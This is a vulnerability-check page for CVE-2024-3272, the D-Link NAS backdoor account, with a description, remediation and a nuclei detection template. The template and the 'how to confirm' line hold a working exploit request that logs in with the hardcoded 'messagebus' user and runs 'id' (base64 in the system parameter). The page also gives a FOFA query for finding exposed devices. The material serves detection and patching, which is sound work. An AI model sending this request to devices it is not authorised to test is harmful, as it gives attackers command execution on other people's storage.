CVE-2024-3272· dlink / dns-320l firmware· CWE-77
D-Link Network Attached Storage - Backdoor Account
Exploited in the wild. Listed by CISA on 2024-04-11; known to be used by ransomware.
A vulnerability, which was classified as very critical, has been found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. This issue affects some unknown processing of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument user with the input messagebus leads to hard-coded credentials.
Impact
Attackers can use hardcoded credentials to gain unauthorized access to D-Link NAS devices and execute commands.
Fix
Update D-Link NAS firmware to a version that removes the backdoor account.
How to confirm it
Send: GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ=
Positive when: contains "<auth_state>1</auth_state>" AND matches /uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)/ AND status 200Run it with nuclei: nuclei -id CVE-2024-3272 -u <target>
The full check
id: CVE-2024-3272
info:
name: D-Link Network Attached Storage - Backdoor Account
author: ritikchaddha
severity: critical
description: |
A vulnerability, which was classified as very critical, has been found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. This issue affects some unknown processing of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument user with the input messagebus leads to hard-coded credentials.
impact: |
Attackers can use hardcoded credentials to gain unauthorized access to D-Link NAS devices and execute commands.
remediation: |
Update D-Link NAS firmware to a version that removes the backdoor account.
reference:
- https://github.com/netsecfish/dlink
- https://nvd.nist.gov/vuln/detail/cve-2024-3272
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-3272
cwe-id: CWE-77
cpe: cpe:2.3:o:dlink:dns-320l_firmware:-:*:*:*:*:*:*:*
epss-score: 0.98109
epss-percentile: 0.99911
metadata:
verified: true
max-request: 1
vendor: dlink
product: "dns-320l_firmware"
fofa-query: app="D_Link-DNS-ShareCenter"
tags: cve,cve2024,dlink,nas,kev,vkev,vuln
http:
- raw:
- |+
GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ= HTTP/1.1
Host: {{Hostname}}
unsafe: true
matchers-condition: and
matchers:
- type: word
words:
- "<auth_state>1</auth_state>"
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from